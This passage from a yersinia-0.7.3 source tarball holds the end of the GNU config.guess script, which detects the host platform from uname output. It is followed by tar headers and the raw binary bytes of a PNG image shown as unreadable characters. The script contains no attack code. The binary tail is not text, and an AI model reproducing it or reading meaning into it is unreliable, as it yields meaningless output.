x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; } ;; or32:Linux:*:*) echo or32-unknown-linux-gnu exit ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit ;; sh64*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; vax:Linux:*:*) echo ${UNAME_MACHINE}-dec-linux-gnu exit ;; x86_64:Linux:*:*) echo x86_64-unknown-linux-gnu exit ;; i*86:Linux:*:*) # The BFD linker knows what the default object file format is, so # first see if it will tell us. cd to the root directory to prevent # problems with other programs or directories called `ld' in the path. # Set LC_ALL=C to ensure ld outputs messages in English. ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ | sed -ne '/supported targets:/!d s/[ ][ ]*/ /g s/.*supported targets: *// s/ .*// p'` case "$ld_supported_targets" in elf32-i386) TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" ;; a.out-i386-linux) echo "${UNAME_MACHINE}-pc-linux-gnuaout" exit ;; coff-i386) echo "${UNAME_MACHINE}-pc-linux-gnucoff" exit ;; "") # Either a pre-BFD a.out linker (linux-gnuoldld) or # one that does not give us useful --help. echo "${UNAME_MACHINE}-pc-linux-gnuoldld" exit ;; esac # Determine whether the default compiler is a.out or elf eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include #ifdef __ELF__ # ifdef __GLIBC__ # if __GLIBC__ >= 2 LIBC=gnu # else LIBC=gnulibc1 # endif # else LIBC=gnulibc1 # endif #else #if defined(__INTEL_COMPILER) || defined(__PGI) || defined(__sun) LIBC=gnu #else LIBC=gnuaout #endif #endif #ifdef __dietlibc__ LIBC=dietlibc #endif EOF eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n ' /^LIBC/{ s: ::g p }'`" test x"${LIBC}" != x && { echo "${UNAME_MACHINE}-pc-linux-${LIBC}" exit } test x"${TENTATIVE}" != x && { echo "${TENTATIVE}"; exit; } ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit ;; i*86:OS/2:*:*) # If we were able to find `uname', then EMX Unix compatibility # is probably installed. echo ${UNAME_MACHINE}-pc-os2-emx exit ;; i*86:XTS-300:*:STOP) echo ${UNAME_MACHINE}-unknown-stop exit ;; i*86:atheos:*:*) echo ${UNAME_MACHINE}-unknown-atheos exit ;; i*86:syllable:*:*) echo ${UNAME_MACHINE}-pc-syllable exit ;; i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) echo i386-unknown-lynxos${UNAME_RELEASE} exit ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit ;; i*86:*:5:[678]*) # UnixWare 7.x, OpenUNIX and OpenServer 6. case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i386. echo i386-pc-msdosdjgpp exit ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit ;; paragon:*:*:*) echo i860-intel-osf1 exit ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit ;; mc68k:UNIX:SYSTEM5:3.51m) echo m68k-convergent-sysv exit ;; M680?0:D-NIX:5.3:*) echo m68k-diab-dnix exit ;; M68*:*:R3V[5678]*:*) test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4; exit; } ;; m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) echo m68k-unknown-lynxos${UNAME_RELEASE} exit ;; mc68030:UNIX_System_V:4.*:*) echo m68k-atari-sysv4 exit ;; TSUNAMI:LynxOS:2.*:*) echo sparc-unknown-lynxos${UNAME_RELEASE} exit ;; rs6000:LynxOS:2.*:*) echo rs6000-unknown-lynxos${UNAME_RELEASE} exit ;; PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) echo powerpc-unknown-lynxos${UNAME_RELEASE} exit ;; SM[BE]S:UNIX_SV:*:*) echo mips-dde-sysv${UNAME_RELEASE} exit ;; RM*:ReliantUNIX-*:*:*) echo mips-sni-sysv4 exit ;; RM*:SINIX-*:*:*) echo mips-sni-sysv4 exit ;; *:SINIX-*:*:*) if uname -p 2>/dev/null >/dev/null ; then UNAME_MACHINE=`(uname -p) 2>/dev/null` echo ${UNAME_MACHINE}-sni-sysv4 else echo ns32k-sni-sysv fi exit ;; PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort # says echo i586-unisys-sysv4 exit ;; *:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit ;; i*86:VOS:*:*) # From Paul.Green@stratus.com. echo ${UNAME_MACHINE}-stratus-vos exit ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit ;; BePC:BeOS:*:*) # BeOS running on Intel PC compatible. echo i586-pc-beos exit ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit ;; SX-6:SUPER-UX:*:*) echo sx6-nec-superux${UNAME_RELEASE} exit ;; Power*:Rhapsody:*:*) echo powerpc-apple-rhapsody${UNAME_RELEASE} exit ;; *:Rhapsody:*:*) echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} exit ;; *:Darwin:*:*) UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown case $UNAME_PROCESSOR in unknown) UNAME_PROCESSOR=powerpc ;; esac echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} exit ;; *:procnto*:*:* | *:QNX:[0123456789]*:*) UNAME_PROCESSOR=`uname -p` if test "$UNAME_PROCESSOR" = "x86"; then UNAME_PROCESSOR=i386 UNAME_MACHINE=pc fi echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} exit ;; *:QNX:*:4*) echo i386-pc-qnx exit ;; NSE-?:NONSTOP_KERNEL:*:*) echo nse-tandem-nsk${UNAME_RELEASE} exit ;; NSR-?:NONSTOP_KERNEL:*:*) echo nsr-tandem-nsk${UNAME_RELEASE} exit ;; *:NonStop-UX:*:*) echo mips-compaq-nonstopux exit ;; BS2000:POSIX*:*:*) echo bs2000-siemens-sysv exit ;; DS/*:UNIX_System_V:*:*) echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} exit ;; *:Plan9:*:*) # "uname -m" is not consistent, so use $cputype instead. 386 # is converted to i386 for consistency with other x86 # operating systems. if test "$cputype" = "386"; then UNAME_MACHINE=i386 else UNAME_MACHINE="$cputype" fi echo ${UNAME_MACHINE}-unknown-plan9 exit ;; *:TOPS-10:*:*) echo pdp10-unknown-tops10 exit ;; *:TENEX:*:*) echo pdp10-unknown-tenex exit ;; KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) echo pdp10-dec-tops20 exit ;; XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) echo pdp10-xkl-tops20 exit ;; *:TOPS-20:*:*) echo pdp10-unknown-tops20 exit ;; *:ITS:*:*) echo pdp10-unknown-its exit ;; SEI:*:*:SEIUX) echo mips-sei-seiux${UNAME_RELEASE} exit ;; *:DragonFly:*:*) echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit ;; *:*VMS:*:*) UNAME_MACHINE=`(uname -p) 2>/dev/null` case "${UNAME_MACHINE}" in A*) echo alpha-dec-vms ; exit ;; I*) echo ia64-dec-vms ; exit ;; V*) echo vax-dec-vms ; exit ;; esac ;; *:XENIX:*:SysV) echo i386-pc-xenix exit ;; i*86:skyos:*:*) echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//' exit ;; i*86:rdos:*:*) echo ${UNAME_MACHINE}-pc-rdos exit ;; esac #echo '(No uname command or uname output not recognized.)' 1>&2 #echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 eval $set_cc_for_build cat >$dummy.c < # include #endif main () { #if defined (sony) #if defined (MIPSEB) /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, I don't know.... */ printf ("mips-sony-bsd\n"); exit (0); #else #include printf ("m68k-sony-newsos%s\n", #ifdef NEWSOS4 "4" #else "" #endif ); exit (0); #endif #endif #if defined (__arm) && defined (__acorn) && defined (__unix) printf ("arm-acorn-riscix\n"); exit (0); #endif #if defined (hp300) && !defined (hpux) printf ("m68k-hp-bsd\n"); exit (0); #endif #if defined (NeXT) #if !defined (__ARCHITECTURE__) #define __ARCHITECTURE__ "m68k" #endif int version; version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; if (version < 4) printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); else printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); exit (0); #endif #if defined (MULTIMAX) || defined (n16) #if defined (UMAXV) printf ("ns32k-encore-sysv\n"); exit (0); #else #if defined (CMU) printf ("ns32k-encore-mach\n"); exit (0); #else printf ("ns32k-encore-bsd\n"); exit (0); #endif #endif #endif #if defined (__386BSD__) printf ("i386-pc-bsd\n"); exit (0); #endif #if defined (sequent) #if defined (i386) printf ("i386-sequent-dynix\n"); exit (0); #endif #if defined (ns32000) printf ("ns32k-sequent-dynix\n"); exit (0); #endif #endif #if defined (_SEQUENT_) struct utsname un; uname(&un); if (strncmp(un.version, "V2", 2) == 0) { printf ("i386-sequent-ptx2\n"); exit (0); } if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ printf ("i386-sequent-ptx1\n"); exit (0); } printf ("i386-sequent-ptx\n"); exit (0); #endif #if defined (vax) # if !defined (ultrix) # include # if defined (BSD) # if BSD == 43 printf ("vax-dec-bsd4.3\n"); exit (0); # else # if BSD == 199006 printf ("vax-dec-bsd4.3reno\n"); exit (0); # else printf ("vax-dec-bsd\n"); exit (0); # endif # endif # else printf ("vax-dec-bsd\n"); exit (0); # endif # else printf ("vax-dec-ultrix\n"); exit (0); # endif #endif #if defined (alliant) && defined (i860) printf ("i860-alliant-bsd\n"); exit (0); #endif exit (1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } # Apollos put the system type in the environment. test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; } # Convex versions that predate uname can use getsysinfo(1) if [ -x /usr/convex/getsysinfo ] then case `getsysinfo -f cpu_type` in c1*) echo c1-convex-bsd exit ;; c2*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; c34*) echo c34-convex-bsd exit ;; c38*) echo c38-convex-bsd exit ;; c4*) echo c4-convex-bsd exit ;; esac fi cat >&2 < in order to provide the needed information to handle your system. config.guess timestamp = $timestamp uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` /bin/uname -X = `(/bin/uname -X) 2>/dev/null` hostinfo = `(hostinfo) 2>/dev/null` /bin/universe = `(/bin/universe) 2>/dev/null` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` /bin/arch = `(/bin/arch) 2>/dev/null` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` UNAME_MACHINE = ${UNAME_MACHINE} UNAME_RELEASE = ${UNAME_RELEASE} UNAME_SYSTEM = ${UNAME_SYSTEM} UNAME_VERSION = ${UNAME_VERSION} EOF exit 1 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: yersinia-0.7.3/pixmaps/0000755000175000017500000000000012234207266012633 5ustar nknkyersinia-0.7.3/pixmaps/yersinia.png0000644000175000017500000006553112234207266015176 0ustar nknk‰PNG  IHDRúlCÓ¯c pHYs  šœtIMEÔ/ÍjÿM IDATxÚì½Y$Ùu¦÷ÝÅ—X3+«²ªkë}ûN‘rÀE—¡ ¥%ŽLz‘If2É´¼Ì›Ìd2Ó‹LÒƒŒÃšf4.P¤(’C‚  4ºÑ Ю}ÍÊ-6w¿›î ˆ¬¬ê& 0Ý,˲23<<Üï¹çœÿüç?"„8:ŽŽ£ã‡úG·àè8:Ž ýè8:ŽŽ#C?:ŽŽ£ãÈÐŽ£ãè82ô£ãè8:Ž ýè8:ŽŽ#C?:ŽŽ£ãÈÐŽ£ãè82ô£ãè82ô£ãè8:~¨ýÃþ½ø%–¯Xú÷ÞGüûû‘ƒE:Žÿæà/A ´×VþFÙÈ!þ­˜_ç_‡¡ÒõˆöúÞêë¿'~.⧈Ÿ;,]ãÒ+Ò "Þ!ĽÏ~ÈÍ;üºÅ¡—t×Û‡Õ»Õž+Ü甄Œ×ydè? G`¬£®íÂØÄ›zX5ô0ÿFÄ%Bˆ #š!ˆö%byýˆ°´("$Cñ…xïçfM"mJ)BÊ´øàWV®‚|¼¬h}Þ‡Ö¸âß„C¸h-„­ÄÂX‚_ݤÒ5 )!„tî»7âF6ÿCKWX6ôÅÏï¶7q×óB ¥H!<-Ò}™?³ûo&ZKtvdè?ØÆîÁ¹ƒ‹(¬îퟛ/i1/<Ï|± )¢Ý…О)„´¨Ûeâ©Ú…%ˆ“ À'c D£%€ó>-ä°dè¡5’¹ùÚk˜•O×,…hйÐiôø!m‹kkÅÓ.â ÁâIqÈω„HF/–®I@¾lÚ[OXzm8`ˆb±Ù¦¨HÊåkõ+›—h÷å»7ŽåG=¿g!€RG¡ûö!uy[?ðßUçq ö É{…ã æ/–ñ¼‹ f¾è–-'þ7 VNV@’ù{H!j¾ØÌ£äJt°z qˆï“K?ñi‘‹y`B‹È …xBû¾ÑSŠC㞹ǾWn0¿ÄùÆ7wQNô¸«±öŠ×O),m–‡Åb!mxa¾‰Ýøüó†Õs Á[ÊäŽ ýmoçwÇòBX‚·ò´çV<‡÷€8çqÞãƒ^E°ä£â¡R8Ýš¢HÀ/yKOº6!ÙF­u„¹ŸËg)/_üÜ{7)›Ð\¾ Ç—÷±ˆL½îŒ÷¾[‚O‘ÃÜõ¶¹¸ëžîΣïú»{>Ñä™YċӉ•×µÞýŒûÁÏÑÃH#VгкüÖXºùEl¹´Šc^î]ÀZwžà=Ö{\ðí K!0Él…ÉO ¤ôˆ½š”Ëá¨@H"´aõb±.Íþ ÆstŸŒÌ»˜äJêácÞÑæñRÊUÄ|OY¤'sþŸ·—1ÇBôàK9z¸ÇÚúíƒF'–6»pÀ[à- `4»ìwᎠýÒ¥‡¥\O@gDXòËxÑÁø>í>yG› Ý9Gð<ÎÅ%ëçá~XäÇ"Ì W")ŽF.$H½lÙ,¯“y>,bàħrI†îñ.YÞÆðÝ;œ³XëðÎ-PwCJ)T4X$ZI¤R(¥ÐJât „ø¥Z)Œð(&é=ZK¤ŠAø"Š+aûâ=eÚbX|Ì_õãBƒpH©Pje»ëþµÆ/¹Ww§ð©|âΚ€·€¸;'^*7¾9N²ðù+Y˜xST•ûîWG†þC`äaî.ƒ¬¹â&–ÃİT_œ8pÆÒ4†ÆLãcŽn=Î:ê¦ÆØë ÖXœuXgcH)G¥4Y–!„"×9Ji´Öd:‹^UGïïœÇ)” 'R”çAkÝzéå¯Xâ)ô()“ùôyK)£‘B¡•FIž•(©P:#ÓY–¡2M–i´Ò(ÐÉÀ¥H%>à}ôøjî ¨ä%£_¢…-‡«PJ¢µ„ È´J•ÂyÉp^k-±Œý±Ä ‡Õažo‹v³œ{ò¥”z |KÏ`)á~ ëR¤À*æ2/ëÆÜ ûÕŽ ý:E?PÖZ,Ùå¿a‰ ZòŒOd›hä–¦±Ô•¡® ÓiEUM©› Ó4[ãƒÅÚ&†©>vð©TÊãu4B!4ºB*Cg=}¦s²,#Ï Š¢ ËrTÊ×¥ŠàœRïÀ ± oŠT‡¡"èXõºB2ÅôAª–a£–¡±•þ0ûXöùaùž¶X0ùV¡º¥ŠߦáþOU¼ >7çF–Y}?qdè?¼‰úÝl™å‡ÞdðV7ÓŒñ8~<1žŒ¨ëÖÕ8oñ>†Ås/‚_ ðkOˆ³G #Ó,¡à¤°^ë­5y^Rš’"蘭¥\^+œ­I!zBë¥EIrAê‰X€XÍ%(1øÒ9$-ºßæã‡ðrbž¾&¼5ïxO†Òwð([d]´ÔáùUzZpSˆecÿ;˜”ÿ] ÝïÊó½¼h=‚±Ñ“[ã±Ö1«jö÷÷ÙßßeV0¶Æ˜&æÃ*#ÏJ:å%5°Ö|$Ó;‹ÓÇ7–R¡U†‘ßnŒÁƒs–¦ÔõŒº*Èó’<ë’ç9yž“å1¯w6æï­HRàEÀIB¢3#¥zs¤ÖJB‡F9"E È“çwü¢¦>‚¢{¯ü®RÙw™/»êeŽû¡Éb7úî5G†þ¶³ç{v/´ôÀré%"Ø>¹ÃXG5kíØÛߥšhì çmâJkºƒþ1ò¼Û‚eƘø2nA6ëâkt†Œ5ÔÍ„¦©ñÞ¥ÈW`Å:Kc Eæ0¶ÀØ‚ÜZ²,CëŒL+¤—x¯.±íRø®U²@F£Œ)¸_˜à ÒZfA.Ja\û }t~Wб71é¾+îQO™sùçÀdôîË5sqÏ3†Þ–e·ïeGÝ=3®­3ˆäW™…Gˆ5æ€i Ö8¬_UãɘÙlóqï!Hº.½Þ~ïeÙ‹%1Û@ d‰@"ä1¤±i…èq÷ÔMÅdœCTõ kM*±¼wñË:S‘ÕYóö"+"x§uÒ !ÑZ£¤Œì½`Q^"•$4óÒ­—_6±0õT K•ˆ¥f˜À‡}9?÷ «.!áoB¼ ^µšå¯€ü†¥n5–Ãù»¨ÈâÞkd¥âþõöƒ¿³¿ÿ~ù¿G?$Ú;èZ‡•Ðìyë§ósbLD׫ª¢©gXÛ`­EJA‘— ‡ëôzCò¬‹’Š@,· !)Š¥b;KDÚ#õÕ{VšL ò¼ ,:t»CFã}Æ£}Œ«¨ë)Ö6ÑЕEyuŠÆÎÈtN@»,ËÑ:C'P/Ër²,Çù€Öñ«¥ÖU꾟/…@ ½lTB,ô¶·-ÌÛDçe9°ÌîAc~-W(ÇËV`ùa€[þùœº<å®"æ%µÃúS¼WÛõçã·ÀÝm´oåÿâ­î¹áþ1TG†þ× óV â. ×§ÞîèÍ# ¦õæÆQ×u[>‹lµ ­5Ãá1ºÝ!Jf±”&c)N*‰’)?–ïÆšÈDSÛ«0GHP*£ß×t»=Ö׎Ñ43&Ó}öG»4M•(·52(À‚Řu£Ð-Šž“éˆÔ+¥)Š‚¢Ì(BŽ×ñý‚‘p#5Þ…¶ö¾Zó ‡(:, Ç/5ø0ÏÕÛ^‹æѾE8ŒŽzˆù,“€0šV sÒÄJU@‚¶/¢ïS›«kÍMÜ÷»ññ±ºrdèo=G¿§‘§žèÄ(s6†ì>u£Íótïi¨ªŠº©´Îèvút;м›TJ$Z+Œ‰žAH‰±6qÍc*åÁ”T€¤i*|ð©ŒjYvè”ÖÖÖ×™Lö™N'L¦“Ä«dº¶¯7~.‡èHò<£®«DÍõ‰z›ãDH¡uÀ©Ò!enÚ2Œ±ì…#ë-ÝE/î#JvHV½ˆ¬—²á¾M3a)Ý„OÕ†»¼eh±ƒeî@GCkô!Ä罺Jäwmìßm ” Ë~B÷ðV*]Ãïuú»º.b§•s.æåÆ-”^|4üX;¯±¦à "纽Z]`u]cŒE+…Çkj-.±„Hˆ5ï<ömG£ï÷Ž1è¯3NØÝÝŽÆîZIT.Q*#uU#”‚¢Ì!Œ±L§“6Ŷ×Èãu@C–)…H­¬I9G,Œºò!]±ò`,!J­È•L´Ù€)Ô}©¥ó÷U[‹?ϽC¸g‹ê¼§ „TûOí·wúâi‡:â‘Küú@&*‰cxgãÆÕ¾Z"¾‹•ºÊ/øÎå”ocC÷šöpUZBö=ê€ ñ‹p·ág+%•ÕEÔ6o¤ºó¼µr.$ó6GÓ4ÓIJ’Œ±™ÊhRÉä9ë ‰R*©ÁøÄ1wÈ,‚FÖ9²†ík vÞÆœ&*QJÇF•v:[G•RÉàIùìò²è: !ÐéÄ-ÛÚØ“eÉ[øœÔ¢èvûdYÆt:ÁÚ¨W75Ö9Š¢Œœsø©·±:`V@§²( ™$÷ çe4• $ݺ ­í]þìÓÿ’élF][œ <þìû8ñÀ9rZæ¥^êç?]ùCP‘…¯ +´hó÷¶ÿ‘Ò¸ñÆÎ;‡sž¢ÈÛM”âŸó¶dM|îÿj2fÎ%èöœyü)r™÷‘ï€[:‡C¢¿#¯þ½ÊÑçkëmiè!ú7.\æŸüÿ=o¼ø| ¢è,ãC?ùÓüÚöŸÓ=÷…¸Ñ›•+\€­IÅïüîïò[¿ñëLFû-²Ü ù÷þëLÿS?M€N¼ç¹' K`Ì-èz<â_ý‹ʹ'ŸaýcælqoÍïe¹|Œ¼tåÿâÿM^}þ«1O Ï|è#|êWÿ§Ol°‘ ½ܵœÚ¬ÐÏK7aå}£œK2òÖç 3ÀZ“d˜æ­¡Š,BkçéùƉÀ;Ózèe’E]7Ì]Þ‡ðŠakŒ.DR†ñÁ/iÀE£‘ ¾ÆY‡ó±±Æû@Ó¤ŸY‹±†"+±Ka ò¼ˆž\Iœ‹çVJâ| I ²umh¬#A‘gä¹"ÏAV¢’•f’ÖÆ•|}Yã­Ýà|L‹‚X\ÐT ÝbR nê±Úw­ÊlX’‘"VF2­‚³K À‡Ý‹ÃÏÅ6 +xÄêÚc÷r‰ ç.ä­Zú[ŠlßêFð=÷èJÀº†wœ{€_þÕ_ã—¾Á/½Ðrµï\¹È_~ú·xdzïd°Þ# ¹Öù"?,d¿¾?ãþŸ?àKŸùS‚÷ÉÈsN;Ï'~éWxüéw°¦ .ÕÈýZìªÔ÷‹zþ¾¡€Œµc"…y©ÉòœLf±´” U%‰ØØ’†58Ò±¦¾¬9½ŠÀYK  uì(3ÖAÚ,æh¾s.}¯’ät¼?Y–á’¸…”1÷ÎrEÓäìöhêšÖY|í#¥V7X×Pç%EÑ%Ïrt¦È2R‘ BÀ IS{êÚ㈙&Ï3´’-w7—¶²Õš©±LZ™c!ËÀz kYë}Uº%ìÌE.c•QDUïbI,B«Üë[î9ðKŠ:öà'½|ˆ”ƒ¬:±ä]ý,<„iy8g àÚ¼?,Þ ÝFo–û$ýýÖËÉâo·¼¦Ó‚}èƒüâ?úøõÿá¿#XC§Ó¡Ìs¾ýå¿âë_ø<Çâ“ô¥¢§îöêÞ‡tZ&=΂à«/¾ÈïÿÓßdûÖ ”RdYF0àýÿ$ù{?Ëf¯d=X„óI×ͯ`¡ ‚È …dà­¢«÷QÁÇÙZÂ!dƒw6=4ImMkàË»o”“ŠFíƒ'K!úÂcÅ…/¥Äy×~¯”j=¿@ UÜÓ P-6 R0*²L"¥ÂÚœ<+^2{4¦ÁZCÓT)ЪŽtZSyÞ!ÏsŠ<2ì”ÎPZàu†çžx&2ù2MQf?})£Ú޵ˆ*51ÏnõàĪäµT*éæÝ¯åþ ³XòÖ¸J¶Eò¨/Ûvãhœñ÷çÓÔ‘*œizýA܆Sä$•lKšwyò°÷l#–7•¤:¨<»ðÎA¤M©­×‹{—#ß„ƒ¿<$c™†{˜Áÿºr'»?÷ó¿È×þês|ý/>CQt»]r­ùúgþ˜ó÷…Ȱ0f™¤µçY¦[1R Κ^oˆÖ9U5e:16Q$Ã4 M7Œº®ÉóYi¸yV ³ ¥%²(èvºüÈÏü|[cÏsE§Ì±³µ xY®ÉÐ盚rE RŠT¯«"î‡1Øc½‡U\>½6¶üÎÃþˆÝøv’KH]û©OÅ ;RJ²à‘iSB%M!ÃRýV8íaåŸ{vÍð‰Ép¸àÙ½R׃FþV¼úßaFèIxüäÿáùßò?ß¾ÉèÖ z½ý~ŸÙÖ-žÿìŸÑ[_GžÜà´†| h´ÎQÕM{‹pÛ ~÷Ó¿Çg>ý;ïȲŒ¢(ØØÜäçþãÿ„§ßó^†¶¢ð568lˆ6å´å,p¢¿Ø|üZ…ó$ïl¬%Ë ÞYš¦FJÚFU{ÓµÖ+rNmç\›ÿKµÜæ‘Bžgí4©dBä}+køŠà—Ës‹§iê–åeiYqBŠ¢$173­F4M…RŠ<+Èt‰Ös‘‹‚<ÏQ:§( 